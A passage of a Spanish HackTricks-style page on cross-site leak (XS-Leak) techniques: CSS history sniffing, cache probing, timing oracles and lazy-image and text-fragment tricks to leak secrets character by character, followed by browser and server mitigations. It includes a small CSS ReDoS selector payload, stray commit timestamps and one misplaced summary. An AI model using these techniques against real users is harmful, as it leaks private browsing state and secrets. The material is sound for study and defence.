Las aplicaciones web pueden cambiar el **estilo del sitio web según el estado del usuario**. Los archivos CSS de origen cruzado se pueden incrustar en la página del atacante con el **elemento de enlace HTML**, y las **reglas** se **aplicarán** a la página del atacante. Si una página cambia dinámicamente estas reglas, un atacante puede **detectar** estas **diferencias** según el estado del usuario.\
Como técnica de filtración, el atacante puede utilizar el método `window.getComputedStyle` para **leer las propiedades CSS** de un elemento HTML específico. Como resultado, un atacante puede leer propiedades CSS arbitrarias si se conoce el elemento afectado y el nombre de la propiedad.
### Historial CSS
* **Métodos de Inclusión**: Elementos HTML
* **Diferencia Detectable**: Contenido de la página
* **Más información**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
* **Resumen:** Detectar si se aplica el estilo `:visited` a una URL, indicando que ya ha sido visitada
* **Ejemplo de código**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
{% hint style="info" %}
Según [**esto**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), esto no funciona en Chrome sin cabeza.
{% endhint %}
Usando el selector CSS [`:visited`](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited), es posible aplicar un estilo diferente a las URL que han sido visitadas.\
Anteriormente era posible utilizar [`getComputedStyle()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle) para detectar esta diferencia, pero ahora los navegadores lo impiden devolviendo siempre valores como si el enlace hubiera sido visitado y limitando los estilos que se pueden aplicar utilizando el selector.\
Por lo tanto, puede ser necesario engañar al usuario para que haga clic en un área en la que el CSS haya afectado esto se puede hacer utilizando [`mix-blend-mode`](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode).\
También hay formas de hacerlo sin interacción del usuario, como abusar de los tiempos de renderizado, esto funciona porque lleva tiempo pintar los enlaces de un color diferente.\
Se proporcionó una prueba de concepto en un informe de Chromium que funciona utilizando varios enlaces para aumentar la diferencia de tiempo.
### Fuga de X-Frame del documento de contenido
* **Métodos de inclusión**: Marcos
* **Diferencia detectable**: Encabezados
* **Más información**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
* **Resumen:** En GC, cuando una página no está permitida para ser incrustada en una página de origen cruzado debido a **X-Frame-Options, se muestra una página de error**.
* **Ejemplo de código**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
En Chrome, cuando una página no está permitida para ser incrustada en una página de origen cruzado, porque el encabezado **X-FrameOptions** (XFO) está configurado en deny o same-origin, en su lugar se muestra una **página de error**. Para los objetos, esta página de error se puede **detectar verificando la propiedad `contentDocument`**. Por lo general, esta propiedad devuelve null porque no se permite el acceso a un documento incrustado de origen cruzado. Sin embargo, debido a la **representación de Chrome** de la página de error, se devuelve un **objeto de documento vacío** en su lugar. Esto no funciona para iframes ni en otros navegadores. Los desarrolladores pueden olvidar configurar X-Frame-Options para todas las páginas y especialmente las páginas de error a menudo carecen de este encabezado. Como técnica de fuga, un atacante puede diferenciar entre diferentes estados de usuario verificando esto.
### Detección de descargas
* **Métodos de inclusión**: Marcos, Ventanas emergentes
* **Diferencia detectable**: Encabezados
* **Más información**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
* **Resumen:** El atacante puede detectar descargas utilizando iframes. Si el iframe sigue siendo accesible, significa que el archivo se descargó.
* **Ejemplo de código**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
El encabezado `Content-Disposition` ([`Content-Disposition: attachment`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)) indica si el navegador debe descargar el contenido o mostrarlo en línea.
Si solo un usuario con sesión iniciada pudiera **acceder a una página que descargará un archivo** porque está utilizando el encabezado. Es posible detectar ese comportamiento.
#### Barra de descarga <a href="#download-bar" id="download-bar"></a>
En los navegadores basados en Chromium, cuando se descarga un archivo, se muestra una vista previa del proceso de descarga **en una barra en la parte inferior**, integrada en la ventana del navegador. Al **monitorear la altura de la ventana**, los atacantes pueden detectar si se abrió la "barra de descarga".
#### Navegación de descarga (con iframes) <a href="#download-navigation-with-iframes" id="download-navigation-with-iframes"></a>
Otra forma de probar el encabezado [`Content-Disposition: attachment`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition) es **verificar si ocurrió una navegación**. Si una carga de página provoca una descarga, no se activa una navegación y la **ventana permanece dentro del mismo origen**.
#### Navegación de descarga (sin iframes) <a href="#download-navigation-without-iframes" id="download-navigation-without-iframes"></a>
La misma técnica que la anterior, pero utilizando `window.open` en lugar de iframes.
### Bypass de caché HTTP particionada <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
* **Métodos de inclusión**: Ventanas emergentes
* **Diferencia detectable**: Tiempo
* **Más información**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
* **Resumen:** El atacante puede detectar descargas utilizando iframes. Si el iframe sigue siendo accesible, significa que el archivo se descargó.
* **Ejemplo de código**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (de [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
{% hint style="warning" %}
Por eso esta técnica es interesante: Chrome ahora tiene **particionamiento de caché**, y la clave de caché de la página recién abierta es: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)`, pero si abro una página de ngrok y uso fetch en ella, la clave de caché será: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **clave de caché es diferente**, por lo que la caché no se puede compartir. Puedes encontrar más detalles aquí: [Ganando seguridad y privacidad mediante la partición de la caché](https://developer.chrome.com/blog/http-cache-partitioning/)\
(Comentario de [**aquí**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
{% endhint %}
Si un sitio `example.com` incluye un recurso de `*.example.com/resource`, entonces ese recurso tendrá la **misma clave de caché** que si el recurso se solicitara directamente a través de una navegación de nivel superior. Esto se debe a que la clave de caché está compuesta por el _eTLD+1_ de nivel superior y el _eTLD+1_ del marco.
Debido a que acceder a la caché es más rápido que cargar un recurso, es posible intentar cambiar la ubicación de una página y cancelarla 20 ms (por ejemplo) después. Si el origen cambió después de la interrupción, significa que el recurso se almacenó en caché.\
O simplemente **enviar algunas solicitudes fetch a la página potencialmente en caché y medir el tiempo que tarda**.
### Redirección manual <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
2023-06-05 18:33:24 +00:00
* **Métodos de inclusión**: API Fetch
* **Diferencia detectable**: Redirecciones
* **Más información**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234)
* **Resumen:** Es posible determinar si una respuesta a una solicitud fetch es una redirección.
* **Ejemplo de código**:
![](<../.gitbook/assets/image (652).png>)
### Fetch con AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
* **Métodos de inclusión**: Fetch API
* **Diferencia detectable**: Tiempo
* **Más información**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
* **Resumen**: Es posible intentar cargar un recurso y abortar antes de que se cargue. Dependiendo de si se desencadena un error, el recurso se almacenó en caché o no.
* **Ejemplo de código**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
[**`AbortController`**](https://developer.mozilla.org/en-US/docs/Web/API/AbortController) se puede combinar con _**fetch**_ y _**setTimeout**_ para detectar si el **recurso está en caché** y para eliminar un recurso específico de la caché del navegador. Una característica interesante de esta técnica es que la exploración se realiza sin almacenar en caché nuevo contenido en el proceso.
### Contaminación de scripts
* **Métodos de inclusión**: Elementos HTML (script)
* **Diferencia detectable**: Contenido de la página
* **Más información**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
* **Resumen**: Cuando se incluye un **script de origen cruzado** en una página, no es posible leer directamente su contenido. Sin embargo, si un script **utiliza alguna función incorporada**, es posible **sobrescribirlas** y leer sus argumentos, lo que podría **filtrar información valiosa**.
* **Ejemplo de código**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
### Service Workers <a href="#service-workers" id="service-workers"></a>
* **Métodos de inclusión**: Ventanas emergentes
* **Diferencia detectable**: Contenido de la página
* **Más información**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
* **Resumen**: Medir el tiempo de ejecución de una web utilizando service workers.
* **Ejemplo de código**:
1. El atacante registra un service worker en uno de sus dominios (attacker.com).
2. En el documento principal, el atacante emite una navegación (window.open) al sitio web objetivo e instruye al Service Worker para que inicie un temporizador.
3. Cuando la nueva ventana comienza a cargarse, el atacante navega la referencia obtenida en el paso 2 a una página manejada por el Service Worker.
4. Cuando la solicitud realizada en el paso 3 llega al service worker, devuelve una respuesta 204 (No Content), lo que aborta la navegación.
5. En este punto, el Service Worker recopila una medida del temporizador iniciado en el paso 2. Esta medida se ve afectada por el tiempo que JavaScript bloqueó la navegación.
{% hint style="warning" %}
En una medición de tiempo de ejecución, es posible **eliminar** **factores de red** para obtener **mediciones más precisas**. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla.
{% endhint %}
### Tiempo de Fetch
* **Métodos de inclusión**: Fetch API
2023-06-05 18:33:24 +00:00
* **Diferencia detectable**: Tiempo (generalmente debido al contenido de la página, código de estado)
* **Más información**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
* **Resumen**: La API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) se puede utilizar para medir cuánto tiempo se tarda en realizar una solicitud. Se pueden utilizar otros relojes.
2023-06-05 18:33:24 +00:00
* **Ejemplo de código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
### Tiempo entre ventanas
2023-06-05 18:33:24 +00:00
* **Métodos de inclusión**: Ventanas emergentes
2023-06-05 18:33:24 +00:00
* **Diferencia detectable**: Tiempo (generalmente debido al contenido de la página, código de estado)
* **Más información**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
* **Resumen**: La API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) se puede utilizar para medir cuánto tiempo se tarda en realizar una solicitud utilizando `window.open`. Se pueden utilizar otros relojes.
2023-06-05 18:33:24 +00:00
* **Ejemplo de código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-06-05 18:33:24 +00:00
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo:
2023-06-05 18:33:24 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Con HTML o Reinyección
2023-06-05 18:33:24 +00:00
Aquí encontrarás técnicas para exfiltrar información de un HTML de origen cruzado **inyectando contenido HTML**. Estas técnicas son interesantes en casos en los que, por alguna razón, puedes **inyectar HTML pero no puedes inyectar código JS**.
2023-06-05 18:33:24 +00:00
### Marcado colgante
2023-06-05 18:33:24 +00:00
{% content-ref url="dangling-markup-html-scriptless-injection/" %}
[dangling-markup-html-scriptless-injection](dangling-markup-html-scriptless-injection/)
2023-06-05 18:33:24 +00:00
{% endcontent-ref %}
### Carga diferida de imágenes
2023-06-05 18:33:24 +00:00
Si necesitas **exfiltrar contenido** y puedes **agregar HTML antes del secreto**, debes revisar las **técnicas comunes de marcado colgante**.\
Sin embargo, si por alguna razón **DEBES** hacerlo **carácter por carácter** (tal vez la comunicación se realiza a través de una coincidencia en la caché), puedes utilizar este truco.
2023-06-05 18:33:24 +00:00
Las **imágenes** en HTML tienen un atributo "**loading**" cuyo valor puede ser "**lazy**". En ese caso, la imagen se cargará cuando se vea y no mientras se carga la página:
2023-06-05 18:33:24 +00:00
```html
<img src=/something loading=lazy >
```
Por lo tanto, lo que puedes hacer es **agregar una gran cantidad de caracteres basura** (por ejemplo, **miles de "W"**) para **llenar la página web antes del secreto o agregar algo como** `<br><canvas height="1850px"></canvas><br>.`\
Luego, si por ejemplo nuestra **inyección aparece antes de la bandera**, la **imagen** se **cargará**, pero si aparece **después** de la **bandera**, la bandera + la basura **evitarán que se cargue** (tendrás que jugar con la cantidad de basura que colocar). Esto es lo que sucedió en [**este informe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
Otra opción sería utilizar el **scroll-to-text-fragment** si está permitido:
#### Scroll-to-text-fragment
2023-06-05 18:33:24 +00:00
Sin embargo, haces que el **bot acceda a la página** con algo como
```
#:~:text=SECR
```
Entonces la página web será algo como: **`https://victim.com/post.html#:~:text=SECR`**
2023-06-05 18:33:24 +00:00
Donde post.html contiene los caracteres basura del atacante y la imagen de carga lenta, y luego se agrega el secreto del bot.
Lo que hará este texto es hacer que el bot acceda a cualquier texto en la página que contenga el texto `SECR`. Como ese texto es el secreto y está justo **debajo de la imagen**, la **imagen solo se cargará si el secreto adivinado es correcto**. Así que ahí tienes tu oráculo para **filtrar el secreto carácter por carácter**.
2023-06-05 18:33:24 +00:00
Algunos ejemplos de código para explotar esto: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
### Carga lenta de imágenes basada en el tiempo
Si **no es posible cargar una imagen externa** que pueda indicar al atacante que la imagen se cargó, otra opción sería intentar **adivinar el carácter varias veces y medir eso**. Si la imagen se carga, todas las solicitudes tomarán más tiempo que si la imagen no se carga. Esto es lo que se utilizó en la [**solución de este informe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **resumido aquí:**
2023-06-05 18:33:24 +00:00
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}
### ReDoS
{% content-ref url="regular-expression-denial-of-service-redos.md" %}
[regular-expression-denial-of-service-redos.md](regular-expression-denial-of-service-redos.md)
{% endcontent-ref %}
### CSS ReDoS
Si se utiliza `jQuery(location.hash)`, es posible averiguar a través del tiempo si existe algún contenido HTML, esto se debe a que si el selector `main[id='site-main']` no coincide, no es necesario verificar el resto de los **selectores**:
2023-06-05 18:33:24 +00:00
```javascript
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
```
### Inyección de CSS
{% content-ref url="xs-search/css-injection/" %}
[css-injection](xs-search/css-injection/)
{% endcontent-ref %}
## Defensas
En esta sección puedes encontrar parte de las mitigaciones recomendadas en [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf), sin embargo, hay más mitigaciones en cada sección de la wiki [https://xsleaks.dev/](https://xsleaks.dev/). Echa un vistazo allí para obtener más información sobre cómo protegerse contra estas técnicas.
2023-06-05 18:33:24 +00:00
### Mitigaciones del Método de Inclusión
2023-06-05 18:33:24 +00:00
* **Elementos HTML**. Puede utilizar el **encabezado CORP para controlar si las páginas pueden incrustar un recurso**. CORP puede establecerse en same-origin o same-site y bloquea cualquier solicitud de origen cruzado o de sitio cruzado a ese recurso. En el **lado del cliente**, los navegadores basados en Chromium utilizan el algoritmo **CORB** para decidir si se deben permitir o denegar las solicitudes de recursos de origen cruzado.
* **Marcos**. La principal defensa para **evitar que los elementos iframe** carguen recursos HTML es el uso de **X-Frame-Options**. Alternativamente, la directiva **frame-ancestors de CSP** puede lograr un resultado similar. Si se niega la incrustación, el método de inclusión no puede detectar una diferencia en las respuestas.
* **Ventanas emergentes**. Para restringir el acceso a `window.opener`, el encabezado de respuesta HTTP **COOP** define tres valores diferentes: unsafe-none (predeterminado), same-origin-allow-popups y same-origin. Estos valores se pueden utilizar para **aislar las pestañas de navegación y las ventanas emergentes** y, por lo tanto, mitigar las técnicas de filtración basadas en ventanas emergentes.
* **Solicitudes de JavaScript**. Las solicitudes de JavaScript de origen cruzado se utilizan a menudo en ataques de XS-Leak, porque un atacante tiene un control detallado sobre la solicitud emitida. Sin embargo, dado que estas solicitudes no tienen habilitado CORS, están sujetas a las mismas restricciones que las solicitudes enviadas por elementos HTML, como scripts o imágenes. Por lo tanto, el impacto de esta técnica de filtración también se puede **mitigar mediante CORP y CORB**.
2023-06-05 18:33:24 +00:00
Métodos más genéricos:
* **Metadatos de búsqueda**. Estas cabeceras de solicitud permiten a los propietarios del servidor comprender mejor cómo el navegador del usuario causó una solicitud específica. En Chrome, las cabeceras Sec-Fetch-\* se agregan automáticamente a cada solicitud y proporcionan metadatos sobre la procedencia de la solicitud. Por ejemplo, Sec-Fetch-Dest: image se activó desde un elemento de imagen. Las aplicaciones web pueden elegir bloquear solicitudes en función de esa información.
* **Cookies Same-Site**. La marca Same-Site en las cookies permite a los sitios web declarar **si una cookie debe estar restringida al mismo sitio o al contexto de primer nivel**. Todos los principales navegadores admiten cookies Same-Site. En Chrome, las cookies sin el atributo ahora son Lax de forma predeterminada. Para XS-Leaks, **las cookies Same-Site limitan drásticamente las posibilidades de ataque de filtración**. Por otro lado, las técnicas de filtración que dependen de **`window.open` aún funcionan con `SameSite=Lax`**. Los sitios web que utilizan **otros métodos de autenticación**, como certificados en el lado del cliente y autenticación HTTP, **siguen siendo vulnerables**.
* **Desvinculación de Identificadores de Origen Cruzado (COIU)**. COIU, también conocido como Aislamiento de Primera Parte (FPI), es una función de seguridad opcional que los usuarios pueden habilitar en la configuración avanzada de FF (about:config) y que se introdujo inicialmente en el navegador Tor. En una vista abstracta, es un contexto de mismo sitio extendido. **Vincula múltiples recursos** (por ejemplo, cookies, caché, almacenamiento en el lado del cliente) **a la primera parte** en lugar de compartirlos entre todos los sitios web visitados. Si se habilita, COIU disminuye drásticamente la aplicabilidad de XS-Leaks, ya que solo son posibles los métodos que utilizan ventanas emergentes para cumplir con el requisito de primera parte de la política.
* **Protecciones de seguimiento**. Apple implementó un mecanismo de privacidad llamado **Prevención de seguimiento inteligente (ITP)** en SA que tiene como objetivo combatir el seguimiento entre sitios limitando las capacidades de las cookies y otras API web. En versiones más recientes de SA, ITP bloquea todas las cookies de terceros de forma predeterminada sin excepciones \[74]. Este bloqueo evita todas las filtraciones que no se basan en ventanas emergentes. FF adoptó un enfoque similar con la Prevención de seguimiento mejorada (ETP), pero solo bloquean cookies de terceros específicas pertenecientes a proveedores de seguimiento. En el contexto de XS-Leaks, ETP solo mitiga las técnicas de filtración que apuntan a estos dominios de seguimiento.
* **Extensiones del navegador**. Los usuarios conscientes de la seguridad pueden utilizar **extensiones del navegador para prevenir ciertos métodos de inclusión**.
### Mitigaciones de Técnicas de Filtración
* **Controlador de eventos**. La **mitigación más efectiva** para esta técnica de filtración sería **denegarlos todos**, pero esto rompería la mayoría de las aplicaciones web en Internet. Por lo tanto, proponemos **reducir la cantidad de información necesaria que se puede recopilar dentro de los eventos**. Por ejemplo, el evento de violación de CSP no debe contener la URL de destino de redirección en el campo blockedURI. Este comportamiento está implementado en FF y en versiones más recientes de GC, solo SA sigue siendo vulnerable.
* **Mensajes de error**. Para mitigar las filtraciones de XS-Leaks basadas en la técnica de filtración de mensajes de error, hay dos requisitos principales. En primer lugar, **los mensajes de error no deben contener información detallada**, de manera similar a los mensajes de controlador de eventos. En segundo lugar, los navegadores deben **minimizar la aparición de mensajes de error**. XS-Leaks como SRI Error, ContentDocument XFO o Fetch Redirect detectan si se lanza un mensaje de error o no.
* **Límites globales**. La corrección de las técnicas de filtración que abusan de los límites globales es relativamente compleja porque se basan en restricciones físicas. La recomendación general es **restringir los límites globales en función de cada sitio de manera pequeña**. Si el límite global es 1, como en el caso de la API de pago, el atacante puede intentar activar silenciosamente la interfaz de pago web en cualquier momento, lo cual solo tiene éxito si la interfaz no se está utilizando simultáneamente en ninguna otra pestaña. Recomendamos acceder a la API de pago solo cuando se haya utilizado un evento confiable. De esta manera, el límite global se establece en cero a menos que el usuario dé su consentimiento, como un clic izquierdo del mouse en una ventana de diálogo, lo que establece el límite global en uno.
* **Estado global**. **No se debe acceder a ninguna propiedad del estado global del navegador**. Por ejemplo, FF es el único navegador que actualiza el historial del estado global cuando ocurre una redirección, lo que resulta en la lectura de history.length. Los navegadores deben crear una nueva propiedad de historial cuando ocurre una redirección en lugar de almacenarla globalmente. Otros ejemplos son los recursos compartidos, como las cachés. Las filtraciones de caché abusan de la caché compartida utilizada para todos los sitios web abiertos en un navegador. Para mitigar por completo las técnicas de filtración de caché, la caché HTTP debe estar particionada en función de cada sitio, como lo implementan SA, GC y FF. Tenga en cuenta que en SA, los iframes no se ven afectados por la partición de la caché.
* **API de rendimiento**. Demostramos que la API de rendimiento es una excelente técnica de filtración. En muchos XS-Leaks, pudimos detectar la diferencia entre si la respuesta de una solicitud de origen cruzado tiene o no una entrada de rendimiento. Como unificación, recomendamos asegurarnos de que todas las solicitudes creen dicha entrada y que solo se registre el subconjunto correcto de información de temporización para las solicitudes de origen cruzado.
## Referencias
* [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
* [https://xsleaks.dev/](https://xsleaks.dev)
* [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
* [https://xsinator.com/](https://xsinator.com/)
* [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2023-06-05 18:33:24 +00:00
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:33:24 +00:00
</details>
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}